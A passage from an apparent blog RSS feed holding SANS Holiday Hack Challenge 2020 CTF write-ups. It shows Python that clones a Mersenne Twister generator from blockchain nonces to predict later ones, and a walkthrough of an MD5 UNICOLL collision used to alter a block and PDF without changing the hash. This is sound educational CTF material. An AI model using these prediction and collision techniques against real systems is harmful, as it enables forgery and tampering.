&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="ln"> 1&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Chain&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">load&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="bp">True&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">filename&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;blockchain.dat&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln"> 2&lt;/span>
&lt;span class="ln"> 3&lt;/span>&lt;span class="n">twister&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mt19937&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;span class="ln"> 4&lt;/span>&lt;span class="k">for&lt;/span> &lt;span class="n">block&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">c2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[:&lt;/span>&lt;span class="mi">312&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;span class="hl">&lt;span class="ln"> 5&lt;/span> &lt;span class="n">twister&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MT&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">untemper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">block&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nonce&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x00000000FFFFFFFF&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="mi">1&lt;/span>
&lt;/span>&lt;span class="hl">&lt;span class="ln"> 6&lt;/span> &lt;span class="n">twister&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MT&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">untemper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">block&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nonce&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="mi">1&lt;/span>
&lt;/span>&lt;span class="ln"> 7&lt;/span>
&lt;span class="ln"> 8&lt;/span>&lt;span class="k">for&lt;/span> &lt;span class="n">block&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">c2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">312&lt;/span>&lt;span class="p">:]:&lt;/span>
&lt;span class="ln"> 9&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Real nonce: &lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s2">{block.nonce} at index {block.index}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">10&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;Predicted: &lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s2">{get_next(twister)}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">11&lt;/span>
&lt;span class="hl">&lt;span class="ln">12&lt;/span>&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;span class="ln">13&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;Hex-#{i+129997}: &lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s2">{hex(get_next(twister))}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output shows that starting from block 313, all of the &lt;code>nonce&lt;/code> values from the blocks are identical with the value produced by the cloned generator I created. Finally, I take the hex value for block &lt;code>130000&lt;/code> and submit it in my badge, which is accepted:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln"> 1&lt;/span>...
&lt;span class="ln"> 2&lt;/span>Real nonce: &lt;span class="m">7556872674124112955&lt;/span> at index &lt;span class="m">129995&lt;/span>
&lt;span class="ln"> 3&lt;/span>Predicted: &lt;span class="m">7556872674124112955&lt;/span>
&lt;span class="ln"> 4&lt;/span>Real nonce: &lt;span class="m">16969683986178983974&lt;/span> at index &lt;span class="m">129996&lt;/span>
&lt;span class="ln"> 5&lt;/span>Predicted: &lt;span class="m">16969683986178983974&lt;/span>
&lt;span class="ln"> 6&lt;/span>
&lt;span class="ln"> 7&lt;/span>Hex-#129997: 0xb744baba65ed6fce
&lt;span class="ln"> 8&lt;/span>Hex-#129998: 0x1866abd00f13aed
&lt;span class="ln"> 9&lt;/span>Hex-#129999: 0x844f6b07bd9403e4
&lt;span class="hl">&lt;span class="ln">10&lt;/span>Hex-#130000: 0x57066318f32f729d
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>On to the final objective! 😎&lt;/p></description></item><item><title>Blockchain Investigation Part 2</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective11b/</link><pubDate>Sun, 27 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective11b/</guid><description>&lt;p>&lt;img src="../images/obj11b/objective11b.png" alt="Objective11b">&lt;/p>
&lt;p>This final objective includes no new elves to talk with, so I have to rely on previous intel from &lt;code>Tinsel&lt;/code> and &lt;code>Tangle&lt;/code> who shared quite a lot already as part of
&lt;a href="https://flrnks.netlify.app/tutorials/kringlecon2020/objective11a">Objective11a&lt;/a>.&lt;/p>
&lt;p>The main new piece of information for &lt;code>11b&lt;/code> is the SHA256 of the block that I need to inspect0 closer. It&amp;rsquo;s suspected that Jack has somehow managed to do the impossible and modify its content without breaking the blockchain. The hash of this block is:&lt;/p>
&lt;p>&lt;code>58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f&lt;/code>.&lt;/p>
&lt;p>This final objective mentions that Jack possibly got away with this just by tweaking &lt;code>4 bytes&lt;/code>, so my focus is now to figure out where those 4 bytes may be hidingso that I can try to undo these changes.&lt;/p>
&lt;p>There is a small amount of new information in the badge hints section:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Shinny Upatree&lt;/code> swears that he doesn&amp;rsquo;t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.&lt;/li>
&lt;li>If Jack was somehow able to change the contents of the block, AND the document without changing the hash&amp;hellip; that would require a &lt;code>very UNIque hash COLLision&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>These two hint at the fact that Jack has made two modifications, &lt;strong>one in the block data structure&lt;/strong> and &lt;strong>one in the attached PDF&lt;/strong> itself; and secondly that he has may have used the &lt;strong>UNICOLL&lt;/strong> technique which has some very special properties when applied to MD5. The hint about &lt;strong>UNICOLL&lt;/strong> only clicked for me after going through the lengthy slide deck from
&lt;a href="https://speakerdeck.com/ange/colltris" target="_blank" rel="noopener">this presentation&lt;/a> by Ange Albertini.&lt;/p>
&lt;p>Armed with this knowledge I set out to inspect the block in question using the provided python script. I write a bit of code to loop through the whole chain until the block with correct SHA256 is found and then print it to the terminal and save it to file as &lt;code>block129459.dat&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="ln">1&lt;/span>&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">chain&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;span class="ln">2&lt;/span> &lt;span class="n">h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">SHA256&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">()&lt;/span>
&lt;span class="ln">3&lt;/span> &lt;span class="n">h&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">update&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">chain&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">block_data_signed&lt;/span>&lt;span class="p">())&lt;/span>
&lt;span class="hl">&lt;span class="ln">4&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="n">h&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hexdigest&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;span class="ln">5&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">chain&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="ln">6&lt;/span> &lt;span class="n">chain&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save_a_block&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;block{chain.blocks[i].index}.dat&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Below is a redacted version of this block as printed to terminal:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln"> 1&lt;/span>root@c288761e5038:/usr/src/app# python3 naughty_nice.py
&lt;span class="ln"> 2&lt;/span>Chain Index: &lt;span class="m">129459&lt;/span>
&lt;span class="ln"> 3&lt;/span> Nonce: a9447e5771c704f4
&lt;span class="ln"> 4&lt;/span> PID: 0000000000012fd1
&lt;span class="ln"> 5&lt;/span> RID: 000000000000020f
&lt;span class="ln"> 6&lt;/span> Document Count: &lt;span class="m">2&lt;/span>
&lt;span class="hl">&lt;span class="ln"> 7&lt;/span> Score: ffffffff &lt;span class="o">(&lt;/span>4294967295&lt;span class="o">)&lt;/span>
&lt;/span>&lt;span class="hl">&lt;span class="ln"> 8&lt;/span> Sign: &lt;span class="m">1&lt;/span> &lt;span class="o">(&lt;/span>Nice&lt;span class="o">)&lt;/span>
&lt;/span>&lt;span class="ln"> 9&lt;/span> Data item: &lt;span class="m">1&lt;/span>
&lt;span class="hl">&lt;span class="ln">10&lt;/span> Data Type: ff &lt;span class="o">(&lt;/span>Binary blob&lt;span class="o">)&lt;/span>
&lt;/span>&lt;span class="hl">&lt;span class="ln">11&lt;/span> Data Length: 0000006c
&lt;/span>&lt;span class="hl">&lt;span class="ln">12&lt;/span> Data: b&lt;span class="s1">&amp;#39;ea4...8d8f09&amp;#39;&lt;/span>
&lt;/span>&lt;span class="ln">13&lt;/span> Data item: &lt;span class="m">2&lt;/span>
&lt;span class="ln">14&lt;/span> Data Type: &lt;span class="m">05&lt;/span> &lt;span class="o">(&lt;/span>PDF&lt;span class="o">)&lt;/span>
&lt;span class="ln">15&lt;/span> Data Length: 00009f57
&lt;span class="ln">16&lt;/span> Data: b&lt;span class="s1">&amp;#39;255...019a43&amp;#39;&lt;/span>
&lt;span class="hl">&lt;span class="ln">17&lt;/span> Date: 03/24
&lt;/span>&lt;span class="ln">18&lt;/span> Time: 13:21:41
&lt;span class="ln">19&lt;/span> PreviousHash: 4a91947439046c2dbaa96db38e924665
&lt;span class="ln">20&lt;/span> Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
&lt;span class="ln">21&lt;/span> Signature: b&lt;span class="s1">&amp;#39;MJIx...MCtHfw==&amp;#39;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>There were several lines that stand at immediately as suspicious:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Line 7&lt;/strong> is suspicious because of the maxed-out integer value. In the hints a different value is mentioned by &lt;code>Tinsel&lt;/code>: &lt;strong>4,294,935,958&lt;/strong> which corresponds to &lt;code>FFFF8596&lt;/code> which has two bytes difference from &lt;code>FFFFFFFF&lt;/code>. However, this turns out to be a dead-end after realizing that this is not compatible with what I&amp;rsquo;ve learnt about the UNICOLL technique.&lt;/li>
&lt;li>&lt;strong>Line 8&lt;/strong> is suspicious because Jack does not seem to be a trustworthy character, so perhaps he may have flipped the Nice/Naughty switch in the block to cheat the system. This suspicion is confirmed later when I extract the PDF and unlock the hidden content originally written by Shinny as a report on Jack&amp;rsquo;s &lt;strong>Naughty&lt;/strong> behaviour!&lt;/li>
&lt;li>&lt;strong>Lines 10-11-12&lt;/strong> are suspicious just because no other block contained two files, but I cannot immediately explain why this is significant&lt;/li>
&lt;li>&lt;strong>Line 17&lt;/strong> is suspicious because I think that Jack might have tweaked the date to hide his activity and switched the month from December 24 to March 24. However, this seems to be a dead-end as well because it&amp;rsquo;s inconsistent with the &lt;strong>UNICOLLL&lt;/strong> technique.&lt;/li>
&lt;/ul>
&lt;p>Next I set out to inspect the PDF document closer, which I extract to filesystem using the provided python script. After opening it in &lt;code>HexFiend&lt;/code> I do not find anything suspicious at first, so I go back to the slide-deck from Ange to see if I can find some clues there, and I sure do:&lt;/p>
&lt;p>&lt;img src="../images/obj11b/pdf-clue.png" alt="PDF Trickery">&lt;/p>
&lt;p>This slide shows a trick that can be used to tweak contents of the PDF by changing which object or page is referenced. I try the same on the extracted PDF, and it&amp;rsquo;s content changes dramatically. It goes from a glowing report on Jack to this:&lt;/p>
&lt;pre>&lt;code>Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat.
I don’t know what’s with him... it’s like he’s a few stubbies short of a six-pack or somethin’.
I don’t think the wombat was actually hurt... but I tell ya, it was more ‘n a bit shook up.
Then the bloke climbs outtathe cage all laughin’ and cacklin’ like it was some kind of bonza joke.
Never in my life have I seen someone who was that bloody evil...
- ”Quote from a Sidney (Australia) Zookeeper
I have reviewed a surveillance video tape showing the incident and found that it does, indeed, show that
Jack Frost deliberately traveled to Australia just to attack this cute, helpless animal. It was appalling.
I tracked Frost down and found him in Nepal. I confronted him with the evidence and, surprisingly, he seems
to actually be incredibly contrite. He even says that he’ll give me access to a digital photo that shows his
“utterly regrettable” actions. Even more remarkably, he’s allowing me to use his laptop to generate this
report – because for some reason, my laptop won’t connect to the WiFi here.
He says that he’s sorry and needs to be “held accountable for his actions.” He’s even said that I should
give him the biggest Naughty/Nice penalty possible. I suppose he believes that by cooperating with me,
that I’ll somehow feel obliged to go easier on him. That’s not going to happen... I’m WAAAAY smarter than old Jack.
Oh man... while I was writing this up, I received a call from my wife telling me that one of the pipes inour
house back in the North Pole has frozen and water is leaking everywhere. How could that have happened?
Jack is telling me that I should hurry back home. He says I should save this document and then he’ll go ahead and submit the full report for me.
I’m not completely sure I trust him, but I’ll make myself a note and go in and check to make absolutely sure he submits this properly.
Shinny Upatree3/24/2020
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Note&lt;/strong>: on MacOS I have to open this PDF in either Firefox or Chrome, because the built-in reader detects some corruption that prevents it from opening properly.&lt;/p>
&lt;p>Once I have the hidden content I am sure that this is one of the 4 bytes that Jack has tweaked in the block.&lt;/p>
&lt;p>Next I open the whole block in &lt;code>HexFiend&lt;/code> to see it in its entirety. I spend many hours trying to find the two remaining bytes that Jack had tweaked. I am also in touch with some fellow HHC attendees who provide some great insight to help me avoid dead ends in my endeavors.&lt;/p>
&lt;p>Eventually what helps me tremendously is the slide-deck from Ange and a tip from &lt;code>joergen&lt;/code> to remember the 64 byte chunk sizes for MD5. This information combined with slide 113 eventually helps me find the remaining two bytes:&lt;/p>
&lt;p>&lt;img src="../images/obj11b/slide-113.png" alt="Slide 113">&lt;/p>
&lt;p>Turns out, due to some cryptographic properties of MD5, if you change some byte in Chunk N to +1, then you need to change the byte on the same location in Chunk N+1 to keep the MD5 hash the same. Finally, it clicks why there is a random binary file attached to the block. It is the extra random garbage that helps with the flipping of the Sign from &lt;code>Naughty&lt;/code> to &lt;code>Nice&lt;/code> while keeping the hash of the whole block unchanged.&lt;/p>
&lt;p>Next I go back to &lt;code>HexFiend&lt;/code> with the whole block open and modify the 4 bytes using this rule:&lt;/p>
&lt;p>&lt;img src="../images/obj11b/hex-fiend-solve.png" alt="Hex Fiend Solution">&lt;/p>
&lt;p>Tweaks explained:&lt;/p>
&lt;ol>
&lt;li>byte 73 was &lt;code>0x31&lt;/code> and I set it to &lt;code>0x30&lt;/code> so that it becomes &lt;code>Naughty&lt;/code> again&lt;/li>
&lt;li>to keep the MD5 from changing, I then had to increase byte 137 by 1 from &lt;code>0xD6&lt;/code> to &lt;code>0xD7&lt;/code>&lt;/li>
&lt;li>byte 265 was &lt;code>0x32&lt;/code> and I changed it to &lt;code>0x33&lt;/code> to fix the PDF document&lt;/li>
&lt;li>to keep the MD5 from changing, I then had to decrease byte 329 from &lt;code>0x1C&lt;/code> to &lt;code>0x1B&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>Next, I use the docker image to get the MD5 and SHA256 values of the fixed block, and to my big surprise the MD5 remains unchanged:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="ln">1&lt;/span>root@c288761e5038:/usr/src/app# md5sum block129459.dat
&lt;span class="hl">&lt;span class="ln">2&lt;/span>b10b4a6bd373b61f32f4fd3a0cdfbf84
&lt;/span>&lt;span class="ln">3&lt;/span>root@c288761e5038:/usr/src/app# sha256sum block129459.dat
&lt;span class="hl">&lt;span class="ln">4&lt;/span>fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I then submit the SHA256 hash of the fixed block &lt;code>fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb&lt;/code> and it is accepted as correct! 😎 🎉&lt;/p>
&lt;p>Finally, I go up to the balcony in Santa&amp;rsquo;s Office to complete the narrative and join the party:&lt;/p>
&lt;p>&lt;img src="../images/obj11b/victory.png" alt="Victory">&lt;/p></description></item><item><title>Acknowledgements</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/conclusion/</link><pubDate>Sun, 10 Jan 2021 20:20:20 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/conclusion/</guid><description>&lt;p>So that&amp;rsquo;s it! I just finished the Holiday Hack Challenge 2020 completely!&lt;/p>
&lt;p>This is an especially rewarding feeling to have pulled this off for the 2nd year in a row. 2020 has been quite an unusual year, to say the least, for various reasons, good or bad. But this CTF at the very end of it is probably one of the most amazing ways to close it off on such a positive note.&lt;/p>
&lt;p>Firstly, I would like to thank the folks at CounterHack and the SANS Institute for putting it together. Itás been such a tumultuous year, yet thez delivered such a high quality product for us. I am especially impressed by the smooth progression in the difficulty of the objectives, and of course all the creativity that went into creating them. Just simply amazing!&lt;/p>
&lt;p>Secondly, I want to say thanks to all the peoople on Discord who helped me with gentle nudges in desperate times. I probably would have lost much more hair and finished it much later, if it weren&amp;rsquo;t for you gals:&lt;/p>
&lt;ul>
&lt;li>&lt;code>joergen&lt;/code>&lt;/li>
&lt;li>&lt;code>shahla&lt;/code>&lt;/li>
&lt;li>&lt;code>john_r2&lt;/code>&lt;/li>
&lt;li>&lt;code>legacyboy&lt;/code>&lt;/li>
&lt;li>&lt;code>tw2k&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Last but not least, I want to thank my family who allowed me to work on these objectives throughout most of the holiday season&amp;hellip; 😇&lt;/p>
&lt;p>&lt;img src="../images/conclusion/narrative.png" alt="Narrative">&lt;/p>
&lt;p>Already looking forward to what HHC 2021 will have in store!&lt;/p></description></item></channel></rss>